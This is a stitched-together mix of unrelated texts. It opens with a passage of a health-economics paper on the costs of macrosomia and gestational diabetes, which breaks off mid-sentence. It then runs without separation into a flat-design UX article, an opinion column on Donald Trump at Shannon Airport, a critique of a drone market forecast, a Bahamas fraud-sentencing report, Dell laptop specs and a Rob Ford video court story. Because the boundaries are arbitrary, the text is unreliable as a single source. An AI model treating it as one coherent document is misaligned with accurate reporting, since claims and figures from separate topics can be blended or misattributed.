Various data sources were considered for developing the framework in order to maximize its external validity for any local setting. A narrative review of the scientific literature from several electronic databases was conducted to find studies published between 1994 to July 2014 with the following keywords: birth weight, (rapid) weight gain, growth trajectories, body composition, overweight, obesity, metabolic health, cohort, observational studies, Asia, Australia, and Europe. Only studies published in English were included. Probabilities of clinical events and utilities are usually accepted as not country-specific and are considered to be transferable beyond their original production location. They can therefore be derived from international studies, while economic measures and information on therapeutic choices depend on a particular region, country or healthcare system (Lampe et al., 2009).
Incidence
The incidence rate used for our model was 5.5%, derived from the study outcomes reported by Beischer et al. (1991). This is a conservative value, taken into account the incidence rates reported above (Ferrara et al., 2004; Rosenberg et al., 2005; Hunsberger et al., 2010), and considering the rising risk of macrosomic pregnancies related to an overall 15–25% increase in the proportion of women giving birth to large infants worldwide (Henriksen, 2008).
Complications
Studies reporting the risk of perinatal adverse outcomes for mother and child in the case of obesity (Galtier-Dereure et al., 1995; Michlin et al., 2000; Pathi et al., 2006; Salihu et al., 2011), mild GDM (Landon et al., 2009; Ohno et al., 2011), and total GDM (Keshavarz et al., 2005; Reece, 2010; Mission et al., 2012) show that not all complications are statistically significant. Data input on obesity is derived from Salihu et al. (2011) because of the large sample size of obese women (Table 1), whereas for GDM the data for mild GDM are used (Galtier-Dereure et al., 1995; Pathi et al., 2006), taking a conservative approach. Mission et al. (2012) provided a much higher probability for shoulder dystocia, which was taken into account for further cost estimations, as well as additional information provided by Keshavarz et al. (2005) on the probability of hydramnion and stillbirth (respectively, 0.60 and 0.40%).
TABLE 1
TABLE 1. Complications in mild gestational diabetes mellitus (GDM) and obese mothers.
Macrosomia Management in GDM
Table 2 shows an overview of data from studies on interventions related to macrosomia incidence in GDM (Langer et al., 2005; Horvath et al., 2010).
TABLE 2
TABLE 2. Treatment GDM – macrosomia.
Herbst (2005) provided data on direct complications related to macrosomia. These data may be considered in addition to previously mentioned data. Using decision analysis techniques, the authors compared three strategies for an infant with an estimated fetal weight of 4500 g: labor induction, elective cesarean delivery, and expectant treatment (Table 3).
TABLE 3
TABLE 3. Complications macrosomia.
Mortality outcomes were based on the study by Mitanchez (2010) who evaluated the risks of perinatal complications in infants born to mothers with treated or untreated GDM, including also risk of death.
Most of the costing data were derived from the studies by Herbst (2005), Ohno et al. (2011). In case of lack of information on direct data, the costs were based on treatment practice derived from guidelines or assumptions based on similarities in treatment (Table 4). Maternal short-term costs are related to cesarean section, pre-eclampsia, or gestational hypertension, induction of labor, maternal death. In this model we assume that in case of normal pregnancy and vaginal delivery, there is a routine cost of $ 7 790 (Ohno et al., 2011). This assumption is, however, based on the 2011 situation in the USA only, and outcomes may be considerably different in case specific costing data of other countries or at other time points would be used. Because of the lack of costing data from other countries, we performed an extreme sensitivity analysis on the costs by varying ±20%.
TABLE 4
TABLE 4. Costing data.
Results
The base case analysis gives the results for the period including pregnancy and delivery only, without including costs of diagnosis and management of GDM, nor of complications beyond the obstetric period or consequences for mother and child on the longer term.
The average of total additional costs for overweight is $ 18 290 per pregnancy/delivery, which consists of average costs for the mother ($ 13 047), and average costs for the child ($ 5 243).
The average of total additional costs for GDM is $ 15 593 per pregnancy/delivery, which consists of the average costs for delivery and complications for the mother ($ 11 794) and the average direct costs for neonatal complications in the macrosomic child ($ 3 799; Table 5).
TABLE 5
TABLE 5. Base case analysis.
Example of a Budget Impact Calculation
The translation of costs per case (pregnancy and delivery only) to national level, based on pregnancy rate and the incidence of GDM, leads to the budget impact. To illustrate this, the budget impact of GDM for the USA was calculated, since most of the costing data available are provided by USA studies. The national annual number of pregnancies is 13.68 per 1000 for a population of 313 847 500 (Indexmundi, 2014; www.indexmundi.com). In case of a GDM incidence rate of 5.5% (Zawiejska et al., 2014), this represents an annual number of GDM cases of 236 139 in the US. With a cost difference between normal pregnancy/delivery and complicated delivery due to GDM of $7 803 ($15 593 – $7 790), this leads to an annual budget impact of more than $1.8 billion, according to the short term conservative approach taken in our model. Although these outcomes cannot be extrapolated to other countries because of differences in costs as well as in the organization of national health structures, the principle of calculation remains similar for any part of the world, and will be of use as soon as reliable information becomes available.
Table 6 shows an overview of the sensitivity analyses. Because of lack of statistical distributions, the sensitivity analyses were conducted by varying the parameters ±20%. The outcomes show that in all sensitivity analyses the economic impact remains substantial.
TABLE 6
TABLE 6. Sensitivity analyses.
Discussion
The current model proposes to assess the health economic consequences of macrosomia. Based on international epidemiological and US population costing data, it was shown that the budget impact related to short term obstetric complications for both mother and child is considerable. The presented model offers a first approach for further health technology assessments in different parts of the world and can be used with country specific data to evaluate cost-effectiveness of proposed preventive interventions to reduce the current and future public health consequences of macrosomia. It is anticipated that the reported pilot assessment using available US costing data provides a conservative picture of the true health economic impact of macrosomic births, given the reported increase in maternal overweight and obesity, not only in developed but also in developing countries. The recent debate on diagnostic criteria for GDM stirred by the linear relationship between maternal hyperglycemia and fetal outcomes adds further fuel to this assumption (Jiwani et al., 2012; Sacks et al., 2012).
Relevance and Applicability of this Framework
Maternal BMI, nutritional status and dietary intake are the main determinants of fetal growth as well as the occurrence of maternal hyperglycemia. The latter may result in GDM, defined as diabetes first diagnosed during pregnancy, and is particularly prevalent –and increasing rapidly– in the Asian regions (Hunsberger et al., 2010). Ethnic differences play a pivotal role in the risk for fetal macrosomia. Worldwide, the rising epidemics of overweight in girls and women of child-bearing age do not bode well and calls for preventive strategies (Mulla et al., 2010).
A limitation of this modeling approach lies in the lack of randomized trial evidence on targeted lifestyle interventions in pregnancy and their effect on birth outcomes (Balaji et al., 2014; Briley et al., 2014). However, as maternal overweight, excessive GWG by itself, GDM, and elevated fasting plasma glucose levels during pregnancy have all been reported to be significant risk factors for macrosomia (Liu et al., 2012; Black et al., 2013; Li et al., 2013; Shi et al., 2014), it seems reasonable to assume that a reduction of GDM (severity) and obese pregnancies would lead to fewer complications and thus decrease the related health care costs. Another limitation of the presented framework is its restriction to short-term costs only. More and more evidence is emerging on the increased long-term risks for macrosomic babies to develop future health concerns, including metabolic syndrome, diabetes, and cancer. Besides the further increase of related health care expenditures, this also raises the question of the impact on the next generations (Catalano, 2003; Roseboom and Watson, 2012), which argues in favor of implementing health strategies that may contribute to prevent a vicious circle of NCD.
Dietary management and exercise are potentially effective interventions to prevent excessive weight gain and GDM if measures are established before or in the early stages of pregnancy (Thangaratinam et al., 2012). Evidence from observational studies and clinical trials indicates that dietary energy intake and the source of energy influences glucose metabolism and insulin responses (Hu et al., 2001; Galgani et al., 2008). High fat diets, likely to be unbalanced in their macronutrient composition, have been demonstrated to increase the risk for GDM recurrence in future pregnancies (Moses et al., 1997). An evaluation of pregnancy management in women with GDM or gestational mild hyperglycemia in France demonstrated that there were no LGA babies in women whose carbohydrate intake was at least 210 g/day (Romon et al., 2001) indicating the significance of sufficient carbohydrate intake during pregnancy. The study suggested that nutrition counseling should be directed at an adequate carbohydrate intake of 250 g/day, while maintaining a low fat diet to limit the total energy intake. Indeed, higher consumption of saturated fat and trans fat as a percentage of total energy intake, added sugar and lower intake of vegetables and fruit fiber during the second trimester of pregnancy were associated with greater risk for glucose intolerance during the last trimester of pregnancy (Ley et al., 2011). A similar study suggests an association between saturated fat and sugar intake during the second trimester with not only birth weight, but also body weight, and adiposity in the offspring at 5 years of age (Murrin et al., 2013). A ‘high’ glycemic diet resulting in elevated postprandial glucose levels compared to a ‘low’ glycemic diet may significantly increase birth weight in healthy pregnant women (McGowan and McAuliffe, 2010; Tzanetakou et al., 2011). Although these studies suggest that a balanced macronutrient intake as well as carbohydrate quality play a crucial role in dietary management of GDM, health economic costs assessment of dietary approaches to date is limited.
Long-Term Risk of Gestational Diabetes Mellitus
The current pilot analysis focusses only on costs related to perinatal complications of macrosomic birth. Several studies on the association between GDM and long-term risk of diabetes mellitus show that women with GDM also have a greater risk of developing diabetes in the future compared to pregnant women with a normal glucose tolerance (Bellamy et al., 2009; Jiwani et al., 2012).
A review by Henry and Beischer (1991) provides similar results. Using life table techniques, 17 years after the initial diagnosis of GDM, 40% of women were diabetic compared with 10% in a matched control group of women who had normal glucose tolerance in pregnancy. The incidence of diabetes was higher among women who were older, more obese, of greater parity, and with more severe degrees of glucose intolerance during pregnancy. Diabetes also occurred more commonly among women who had a first-degree relative who was diabetic, in women born in Mediterranean and East Asian countries, and in those who had GDM in two or more pregnancies. Despite differing testing techniques and varying criteria for the diagnosis of GDM, follow-up studies from across the world consistently showed a higher rate of subsequent diabetes among GDM mothers, associated with increased morbidity, and a higher mortality rate. Costs associated with the health of the mother in later years were not considered in the current model and recent epidemiologic data suggest that the real costs of macrosomic birth are considerable higher than presented in this manuscript.
Long Term Risks of Macrosomia
Fetal macrosomia is a risk factor for the development of obesity in childhood. In the European cohort IDEFICS, children who were macrosomic at birth showed significantly higher actual values of BMI, waist circumference, and sum of skin fold thickness (Sparano et al., 2013).
A recent prospective study, conducted in China, examined the risk factors and long-term health consequences of macrosomia (Gu et al., 2012). Using a population sample of 21 315 mother-child pairs, the children were prospectively followed and assessed for obesity 7 years after birth. Macrosomic infants showed an increased susceptibility to develop childhood overweight and/or obesity. Obesity among children is a significant risk factor for the development of insulin resistance, and the degree of obesity is correlated with the degree of insulin resistance (Arslanian and Suprasongsin, 1996; Young-Hyman et al., 2001). A recent literature review indicates an extra lifetime medical cost of $19,000 for the obese child compared to a normal weight child, in the USA. To put this into perspective, if multiplied with the number of obese 10-year-olds today this yields a total direct medical cost of obesity of roughly $14 billion for this age alone (Finkelstein et al., 2014).
To investigate the relationship between birth weight and later development of GDM, a retrospective study on the medical records of 388 women from Malta, diagnosed for GDM (Savona-Ventura and Chircop, 2003) demonstrated that high birth weight is an important correlate for the subsequent development of GDM in later life. This study further supports the notion that the intrauterine influences on pancreatic development and peripheral response to insulin contribute to the development of adult-onset of T2DM.
Boney examined the development of metabolic syndrome among LGA and appropriate |
’s underlined, that helps. Or if it’s a button, it doesn’t have to say Click Here, but if it says, Buy Now or Purchase or Add to Cart.”
This quote neatly illustrates the types of cues people use to determine clickability:
Traditional, externally consistent signifiers (such as the blue, underlined text or raised buttons)
Something reminiscent of a traditional signifier (such as underlined text of any color or boxed text)
Contextual clues (such as actionable text or placement at the top of the page)
If your organization wants to transition to a flatter aesthetic, follow our guidelines for designing recognizably clickable elements to make sure you aren’t causing click uncertainty.
Fattening Flat Design
Recently, designers have begun to notice the usability issues of flat design. As a result, a more mature and balanced interpretation of flat design has emerged. Designers are finding they can be "authentically digital" and explore the unique opportunities of the medium without compromising usability.
This newer interpretation is sometimes referred to as "semi flat," "almost flat," or "flat 2.0." This design style is mostly flat, but it makes use of subtle shadows, highlights, and layers to create some depth in the UI.
Google’s Material design language is one example of flat 2.0 with the right priorities: it uses consistent metaphors and principles borrowed from physics to help users make sense of interfaces and interpret visual hierarchies in content.
As with any design trend, we advise balance and moderation. Don’t make design decisions that sacrifice usability for trendiness. Don’t forget that — unless you’re designing only for other designers — you are not the user. Your preferences and ability to interpret clickability signifiers aren’t the same as your users’ because you know what each element in your own design is intended to do.
Early pseudo-3D GUIs and Steve-Jobs-esque skeuomorphism often produced heavy, clunky interfaces. Scaling back from those excesses is good for usability. But removing visual distinctions to produce fully flat designs with no signifiers can be an equally bad extreme. Flat 2.0 provides an opportunity for compromise — visual simplicity without sacrificing signifiers.
If your UI uses a flat design, make sure you follow the best practices to avoid its pitfalls.Couldn’t have mustered a good healthy cloudburst, no? Couldn’t have found a nice, squally west-of-Ireland special with rain coming in sideways just as Donald Trump came down the steps of his 757 at Shannon Airport? Trust the poxy Irish weather to decide to hold off just this once.
Nothing against the man himself. Trump has been out there for a long time and he’s been wealthy beyond words for most of it. Like the queen assuming that the world smells of paint because every room she walks into has just been given a fresh coat, he likely imagines that all airports come with red carpets and fawning politicians and musical turns appropriate to the locale. You can be sure he saw nothing yesterday morning that surprised him.
Cut-price property
How depressing. The preposterous welcome conferred upon a man who has done nothing more than help himself to a cut-price property deal was the worst kind of forelock-tugging. Trump has bought a landmark golf resort for €15 million, one that was valued at five times that just last summer. There’s talk of further investment and more development on the site in Doonbeg but so far, that’s all he’s done.
Yet there stood Minister for Finance Michael Noonan, with nothing better to do on a Monday morning. And a committee of local dignitaries lined up for handshakes as a harpist, a violinist and a singer had their welcome drowned out by the steady background whirr of Trump’s jet engine.
Pick a jobs announcement, any jobs announcement. Pick a big one, like that one a few months back when PayPal said they’d be bringing 1,000 jobs to Dundalk. Where was PayPal’s red carpet? Their haunting balladeer? Nowhere to be seen. It was a room in the Merrion with the Taoiseach at the top table and a few rows of chairs laid out in front. That’s how these things are done.
Except when the man with the money has been on the telly. Ireland didn’t greet Donald Trump yesterday as a businessman, we greeted him as a celebrity. We confirmed that the only thing that makes us go weaker at the knees than a minted visitor is a famous minted visitor.
And you don’t get much more wealthy or well-known than Donald Trump. Forbes has him pitched at being worth just short of $4 billion, although he himself says it is more like $7 billion. Whatever the number, it’s the sort of scratch that makes his golf investments here, in Scotland and across America a relatively small part of his empire.
Trump is Manhattan, Trump is Vegas. Trump is The Apprentice too, a man so devoted to his own celebrity he continually floated the idea of a presidential run as a blatant wheeze to drive up the ratings for his TV show. He didn’t, of course. But the sheer acreage, tonnage and byteage of media coverage devoted to it did the job he needed.
The fact it was obvious didn’t seem to matter. Trump never saw a microphone he didn’t feel like blessing with his tones, nor a camera-crew whose day wouldn’t be improved by a glimpse of his visage. Everything in Trump World is the greatest, the biggest, the best. It’s also self-evidently nonsense but that doesn’t stop people who should know better eating it up.
Guff
Consider this guff from yesterday, on the subject of the ballroom he intends building on Doonbeg. “A lot of people work in ballrooms,” Trump said. “They generate a lot of taxes and they generate a lot of jobs. One of the main reasons I’m here is siting the ballroom. But we’ll come back to you with an application for a truly great ballroom. I believe people from all over the world will be using this ballroom.”
Now, if the man wants to build himself the stately pleasuredome of ballrooms – and surely Kubla Khan himself will return to weep salt tears by the time it’s built – then Godspeed. But we’re surely a bit better than all the yes-sir, be-begging-your-pardon-sir that was on show yesterday.
Even the usually reliably unimpressed Seán O’Rourke trumpeted on his radio show that this morning’s edition would come from Doonbeg, complete with an interview with The Donald. He actually called him that, The Donald. When even Seán O’Rourke can’t keep a lid on the giddiness, it’s time to wonder what we’re at.
Of course there’s no harm in wishing Trump well with his endeavours in Doonbeg. Whether there’s really an appetite for his idea of making it the third point of what he calls a helicopter triangle with his courses in Aberdeen and Turnberry is for the future to tell us. For now, he’s got himself a good deal and the area looks like it will do well out of it. It’s great and all. Hardly worth the bowing and scraping though.Colin Snow
Since its publication in early 2013, AUVSI’s The Economic Impact of Unmanned Aircraft Systems Integration in the United States has become the gold standard forecast for the commercial drone market, garnering media attention typically reserved for celebrity weddings and babies born to royalty. Its primary forecast is that the UAS market will reach a whopping $1.14 billion [1] in the first year after the FAA issues favorable regulations and that the precision agriculture market will “dwarf all others.”
The accuracy of these predictions is enormously important. A lot of people – tens of thousands, if not more – have been relying upon them for big decisions like, “Should I leave my job to start a drone company?” or “Which market should my company pursue?” Commercial drones are not just cocktail party conversation–they are increasingly driving the flow of capital and labor, and impacting many lives in the process.
Inquiring Minds Want To Know
Recently, however, a growing chorus of industry observers has started to ask questions about the reliability of AUVSI’s findings. This post is a good example. These individuals, many of whom are among the true pioneers in commercial UAS usage, can best be characterized as enthusiastic but pragmatic UAS evangelists who don’t want to see unwarranted hyperbole lead to unmet expectations. Many realize that initially overhyped industries never recover because customers, investors, and employees who were burned in the initial wave of unmet expectations are difficult—if not impossible—to ever win back. They are passionately committed to the industry’s success and believe that rational expectations are a key part of it.
With no axe to grind or agenda to advance, I [Mitch Solomon] partnered with Colin Snow@droneanalyst to explore whether the skeptics and pragmatists were on to some something. We felt our combined backgrounds in market intelligence and tech market strategy would give us a reasonable set of expertise to draw upon and would help others form a more balanced opinion of AUVSI’s forecasts. So over the past several weeks, we’ve been carefully reviewing AUVSI’s report, as follows:
Compared their research methodologies to what we believe to be best practices in market research based upon our own experience.
Conducted an in-depth interview with the researchers themselves, so that we could directly ask them questions about their methods and results that were not made clear in the report.
Initiated a follow-up discussion with AUVSI leadership to understand their perspective on the report and its origins.
Performed intensive primary research with about 20 carefully selected professionals in the field of precision agriculture to understand their UAS adoption plans, since the report’s findings are almost entirely based upon rapid adoption by American farmers.
We then synthesized our findings into the following five conclusions about the report and its reliability.
Research Can Be Objective, But Don’t Assume It Is
First and foremost, every reader of AUVSI’s report needs to understand that it is not an objective piece of research. The report was commissioned not to paint an accurate picture of how the commercial UAS market is expected to evolve, but to give the 50 states and their elected officials the data they needed to:
lobby for funding during the now completed FAA-sponsored competition for UAS test sites, and
push the FAA to move more quickly on the integration of UASs into the national airspace.
These are certainly worthwhile goals, and AUVSI should be commended for pursuing them. But as a direct result, the implicit (if not explicit) mission for the two researchers who did the work was to come up with the biggest numbers – the largest market, fastest growth rates, and biggest costs of delaying integration – that they could. An objective attempt to size, segment, and forecast the commercial UAS market (all of which the report appears to be), is something it never actually was, and we believe it’s critical that all participants in the UAS industry know this and avoid making decisions based upon it.
Methodology – Boring But Oh So Important
A biased agenda is only one part of the story regarding the reliability of AUVSI’s findings. An equally important part is the quality and reliability of the research methods. Generally speaking, strong research methods yield highly defensible results. While presented somewhat differently in the report, the methodology used by the researchers can be summed up as:
Studying UAS adoption in Japan
Adjusting the Japanese experience for the US market
Asking experts how big they think the market is / will be
Applying research on new technology adoption to the US UAS market
As experienced researchers, it sounded pretty good to us at first. But, unfortunately, it did not hold up very well to careful scrutiny.
Japan – When the Best Available Proxy Just Isn’t
We like the idea of searching for analogous markets and scenarios that can serve as the basis for forecasting the US market. The question is: Is Japan an analogous market for the US? We believe that the US and Japan are so different, and the magnitude of the required extrapolations so enormous, that the resulting data is not useful. Most in the industry already know that Japan’s UAS market remains dominated by one product, the Yamaha RMAX(77% market share in Japan), which is used to spray a large percentage of the country’s rice fields. These fields tend to be small (less than five acres), are often in densely populated areas, and are located on steep hard-to-reach hillsides. In contrast, rice represents a tiny percentage of US agricultural output. Our farms are comparatively huge (very often running well into the thousands of acres). No single product, much less a relatively large, unmanned helicopter from Yamaha is likely to dominate the American market. And remote sensing, not pesticide application, is almost certain to be the dominant use of UAS for the major US crops of corn, wheat, and soy.
While we understand that Japan has been the most aggressive adopter of commercial UAS technology as a result of its rice industry, and we appreciate the resulting temptation to use Japan as a proxy for the United States, we see such a large disparity between the agricultural economies of the two countries that we find it impossible to draw any parallels that inform how the UAS market in the US will evolve. And while no other country serves as a better proxy than Japan, the absence of a better alternative cannot justify the use of a bad one.
Expert Opinions or Really Just Guesses?
Another method used by the researchers is referred to as “survey results.” In short, the researchers conducted 30 telephone interviews with industry experts and asked many questions, including those regarding two critical matters: the size of the commercial UAS market, and the relative size of key market segments. The responses were then used to develop “reasonable estimates.” On the surface, the approach of asking experts for their opinions seems sensible whenever you’re conducting research. However, many of the experts that were consulted were hand-picked by AUVSI, which immediately introduces the possibility (likelihood?) of bias given its agenda.
Perhaps more important, not every question is one that experts can necessarily answer well. Certainly UAS industry experts would generally be well prepared to share their opinion on whether fixed wing or rotor aircraft will be more useful for particular applications, or what regulations make the most sense for the small UAS market. But the idea that you can ask experts for opinions about the size of a market and obtain meaningful results is, we believe, inherently flawed. Unless these experts were professionals focused on sizing, segmenting, and forecasting the commercial UAS market (and nothing close to 30 such professionals exist), the opinions voiced by the “experts” are nothing more than guesses, akin to asking 30 people how many clouds there are in the sky and expecting to get the right answer. Our experience in sizing markets, and in working with many experts across a wide variety of markets over many years, gives us considerable confidence in stating that very few people have good insights into how big a market is today, much less how big it will be years from now, even if they work directly in it. The lack of insight is only compounded for complex, nascent markets like the one for commercial UAS.
A Brief Literature Search Isn’t Really a Research Method
The final method used by the researchers was a “brief search” of “literature…on rates of adoption of new technologies.” The authors explicitly state that they could have gone deeper in investigating how this research might apply to UASs, and that a follow-up study on this subject is recommended. That they simultaneously cite the use of the literature as one of their four methodologies, yet characterize their search of the literature as “brief” and recommend a follow-up study raises serious questions. From our perspective, the brief use of literature on technology adoption trends is far from a true research method. It’s more akin to subject matter expertise and qualitative insight that professional researchers might use to inform or validate a forecast they developed with rigorous quantitative techniques. How it was actually used and what value it added to the research is unclear, other than allowing the authors to make the statement that because UAS are already being used “….we reject the notion that these products will not be adopted,” a statement that even a layperson with little or no knowledge of UAS could likely have made.
In sum, we see a methodology that erroneously uses Japan as an analog; uses experts for answers that are really just guesses; and relies upon a loose, limited, and ambiguous application of prior research on new technology adoption to validate the statement that UAS will, in fact, be used in America. As much as we want to support AUVSI, the authors, their methodology, and the research results, we simply cannot.
Sometimes You Get Lucky
As a final point, we do need to acknowledge (and quickly refute) the possibility that despite the flawed methodology, the research findings are reasonable, by pure chance. Perhaps, as the authors assert, the US commercial UAS market actually will be at least $1.15 billion in the first year after rules are approved. And perhaps 80% of this, or roughly $900 million will be driven by the precision agriculture market. But at the risk of disappointing the reader, and with a view toward keeping this post a reasonable length, suffice it to say that while we have high expectations for the US commercial drone market, we do not see a billion dollar market in year one.
We base our position on the deep understanding we have developed of the precision agriculture market, which is at the heart of AUVSI’s forecast. Indeed, the many in-depth interviews we’ve conducted with farmers, precision agriculture vendors, crop scientists, crop scouts, agriculture equipment dealers, input vendors, academic researchers, manned aircraft operators, satellite imaging providers, UAS-service providers, and many others indicate a building interest in the use of remote sensing in general, and in UASs in particular, but do not support the notion that a mad-dash by farmers and their consultants to use UASs is underway or right around the bend. And after looking at many other vertical and application markets for UAS, we do not see any – not public safety, inspection, photography, mapping or a variety of other possibilities – that can close the resulting multi-hundred million dollar gap in the AUVSI forecast created by the much slower adoption we see in precision agriculture.
Acknowledging the Effort
Of course, it’s easy to critique the work of others, and hard to do the work yourself. In defense of the report’s authors, we need to acknowledge that they did a lot with a little. They had a budget to work within that was much smaller than is typical for an assignment of this complexity, and they invested much more time and effort than the budget allowed. Like virtually almost everyone else in the brand-new (some would say still non-existent) commercial UAS industry, they had limited prior exposure to the commercial UAS market, making their learning curve steep. And they had complex agendas to meet in order to satisfy their client, AUVSI, and its many stakeholders. In light of the foregoing, there is much for which they should be commended. But creating a forecast for the commercial UAS industry that participants can rely upon for critical decisions is not one their accomplishments. Indeed, it’s not what they set out to do in the first place, so they can’t really be faulted for not accomplishing it.
Looking Forward
As we look to the future of the commercial UAS market in America, we believe the need for reliable data and insights is more acute than ever. Critical decisions about products, markets, channels, and operational best practices are being made daily, even as we write. UAS technology vendors, service providers, and end-users are relying on intuition, gut feel, or data that is very likely misleading. Some decisions will still turn out to be right, but many others will unnecessarily result in big missed opportunities, significant wasted time and resources, disappointed customers, angry investors, disgruntled employees, and many other negative outcomes that certainly could have been avoided.
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[1] AUVSI’s forecast implies a UAS market that is likely significantly greater than the $1.14 billion in 2015 shown in the report, because it does not address the large part of the market that is currently being satisfied by offshore vendors. The $1.14 billion represents only product supplied by US manufacturers of UAS. It may also fail to include industry profits, though further investigation would be required to confirm this.
http://droneanalyst.com/2014/06/25/five-reasons-the-auvsi-got-its-drone-market-forecast-wrong/By LAMECH JOHNSON
Tribune Staff Reporter
ljohnson@tribunemedia.net
A PROBATION report was the “saving grace” from five years imprisonment for a convicted woman who claimed “demon spirits” influenced her into using the name of known international missionaries to obtain more than $80,000 from a housewife.
Magistrate Derence Rolle-Davis told 41-year-old Patricia Edgecombe yesterday that the report from a Sandilands Rehabilitative Centre officer, which notes that the actions of the defendant were totally out of character, “is the saving grace that you are not going to jail for five years”.
Taking the report into consideration, which noted that the Cable Beach resident was capable of rehabilitation and deserving of a second chance through probation, the magistrate gave Edgecombe probation for three years with conditions attached.
“You are to find employment and 25 per cent of whatever you earn will be paid to the virtual complainant. You will return to court on a six months basis to report to the court on that,” the magistrate ordered.
“Should you breach my order, immediately you will be at Her Majesty’s Prison for three years,” he added.
Her next court appearance is November 7.
Charges and History of the Case
On March 12, Edgecombe was convicted of seven counts of fraud by false pretences, which she initially denied last October when she was first arraigned.
It was claimed that on June 19, 2012, with intent to defraud, she obtained $7,600 from Maxine Julien by means of false pretences.
It was further claimed that on the following day, June 20, she obtained $10,000 from Ms Julien under false pretences.
On July 3, the complainant was defrauded of $11,000, and then $12,000 on July 12. On August 30, $9,000 was obtained from the complainant.
A week later, on September 7, $12,000 was obtained from the complainant under false pretences.
Finally Edgecombe was alleged to have obtained $20,600 from the complainant under false presences on September 11.
On the days in question, the complainant was contacted by a woman claiming to be Paul Morton, TD Jakes and others asking for monitory contributions to help people in need.
At the end of September, the complainant’s husband received a paper trail of recent withdrawals from their joint account and through inquiries from the complainant, the matter was investigated after being reported to police.
Edgecombe was granted $50,000 bail as she had no previous convictions or pending matters before the court.
A trial date was set for the end of January 2013.
After a few adjournments, Edgecombe was sent to Sandllands Rehabilitation Centre (SRC) to be evaluated to see if she was mentally fit to stand trial. She was not represented by counsel.
Defendant’s Claim of Demonic Influence
On March 12, Edgecombe appeared in court for the commencement of ttrial when the magistrate noted that SRC said Edgecombe was fit to stand trial.
Though she told the court she was feeling lightheaded, she said she could go on.
Max Julien, the husband of Mrs Julien, testified that monies in the savings account he had set aside for his construction supplies business was nearly depleted.
When he spoke to his wife about this, she told him about what had occurred over the past few months.
Mr Julien said he quickly reported the matter to the police. An investigation followed.
When given the opportunity to cross-examine Mr Julien, Edgecombe said she had no questions and had only wanted to say “sorry” to Mr Julien.
The magistrate explained to her what the purpose of a cross-examination was, as she was not represented by counsel.
Edgecombe turned to Mr Julien who was on the stand and said: “I just want to say I’m sorry, sir.”
Magistrate Rolle-Davis told her the statement was not a question, but would assume that based on her choice of words, she wanted to change her plea.
Edgecombe said she did.
After excusing Mr Julien from court, the magistrate re-read the seven fraud charges to Edgecombe who pleaded guilty to all of them.
“Is there anything you wish to say to me before you receive punishment?” the magistrate asked.
“I just want to say I’m very sorry and ask that you have mercy on me,” she said.
“Why’d you do it?” the magistrate asked.
“Demon spirits,” she replied.
“Demon spirits?” the magistrate asked.
“Yes,” she replied.
“How’d you do it?” the magistrate asked.
“I pretended to be somebody I’m not,” she answered.
The guilty plea was accepted and she was convicted accordingly before the magistrate noted the Sandiland’s report that Edgecombe was fit and recommendations that she receive person and group psychotherapy along with prescribed medication.
“In the circumstances, I’m going to have you assessed more in depth before I decide punishment for you,” he said.
He noted that a probation report will be done and presented to the court on May 9.
The ‘Saving Grace’
In yesterday’s sentencing proceedings, Christina Swain, a SRC probation officer, presented a summation of the report to the court.
She noted that Edgecombe was raised by both of her parents where she received “spiritual guidance from childhood.”
Though she did not complete the high school in her last years, she lived a “crime-free life” up until the time of the offenses and had stable employment until around the time of the fraud when she was out of a job.
Persons known to the defendant and interviewed by the SRC officer indicated that the offences were “totally out of character” for Edgecombe and that she was worthy of a second chance at redemption, having admitted guilt and taken responsibility for her actions.
The officer noted that Edgecombe was a “capable and good candidate for probation.”
Taking the report into consideration, which noted that the Cable Beach resident was capable of rehabilitation and deserving of a second chance through probation, the magistrate gave Edgecombe probation for three years with conditions attached.
“You are to find employment and 25 percent of whatever you earn will be paid to the virtual complainant. You will return to court on a six months basis to report to the court on that” the magistrate ordered.
“Should you breach my order, immediately you will be at Her Majesty’s Prison for three years” he added.The new Dell XPS 13 is coming and we have found some pricing and specs.
German winfuture managed to get the saucy details about the new Dell XPS 13 notebooks.
The Dell XPS 13 9350 should have an Infinity Edge with 5.2-mm thin border, brightness up to 400 Candela and options between 13-inch, 3200x1800 touch or 1920x1280 non-touch.
The processor choice starts with the Skylake Core i3 at 2.3GHz and goes up to the Core i5 Skylake clocked between 2.3GHz and 2.8 GHz with turbo boost. The fastest Core i7 Skylake works between 2.5GHz default and 3.1GHzx with a turbo boost. They all come with Intel HD 520 GPU.
New XPS 13 will have 4GB, 8GB and 16GB RAM and storage starts with 128GB and moves through 256GB, 512GB and 1TB M.2 SATA SSD as an option.
The notebook has two USB 3.0 ports and an additional USB Type-C connector and Thunderbolt 3. It ships with a 56-watt hour battery and weighs 1.2KG for the non-touch version and 1.29 if you want to get your fingerprints on it..
In Germany it will sell for €1.149 for the Core i5 and €2.149 for the Core i7 with 16GB RAM and 1 TB SSD in touch version.
Here is the complete list:
Core i5 (4GB RAM, 128GB SSD, non-touch) €1,149 ($1,285)
Core i5 (8GB RAM, 256GB SSD, non-touch) €1,299 ($1,450)
Core i7 (8GB RAM, 256GB SSD, non-touch) €1,379 ($1,540)
Core i7 (16GB RAM, 512GB SSD, touch) €1,799 ($2,010)
Core i7 (16GB RAM, 1TB SSD, touch) €2,149 ($2,400)CTVNews.ca Staff
An Ontario judge viewed the video in which Rob Ford is purportedly seen smoking crack cocaine, and said he will decide “soon” whether lawyers defending a man in a drugs and weapons case with links to the Toronto mayor can see the recording.
Ontario Superior Court Justice Ian Nordheimer viewed the 90-second video behind closed doors Tuesday afternoon. Nordheimer had told the Crown to bring the video to court, so he can decide whether the defence team can view it.
Lawyers for Mohammad Khattak, who is facing charges stemming from the drug and weapons investigation known as Project Traveller, say their client’s reputation is being harmed by his association with the video.
Khattak’s lawyers argue they should be allowed to view the video to determine whether its contents are relevant to their defence. The Crown has said Khattak is not seen or mentioned in the video.
CP24 reporter Sue Sgambati tweeted from the courthouse Tuesday afternoon the defence team’s argument for being allowed to see the video.
“Defence lawyers now arguing that Khattak needs to see video in order to identify for his civil lawyer ‘leads’ as to who made video,” Sgambati tweeted. The Crown asked Nordheimer to dismiss the defence application.
When court adjourned Tuesday afternoon, Nordheimer said he will issue a decision “as soon” as he can, Sgambati reported, adding that a decision is not likely today.
Khattak can be seen in a widely circulated photograph of the mayor outside an address a confidential informant has called a “crack house” in Etobicoke. In the photo, Khattak and Ford are seen with Anthony Smith and another man. Smith was shot and killed earlier this year.
Criminal lawyer Edward Prutschi said last week that, even if Khattak's lawyer succeeds in being allowed to view the video, that does not mean the public will get to see it, too.
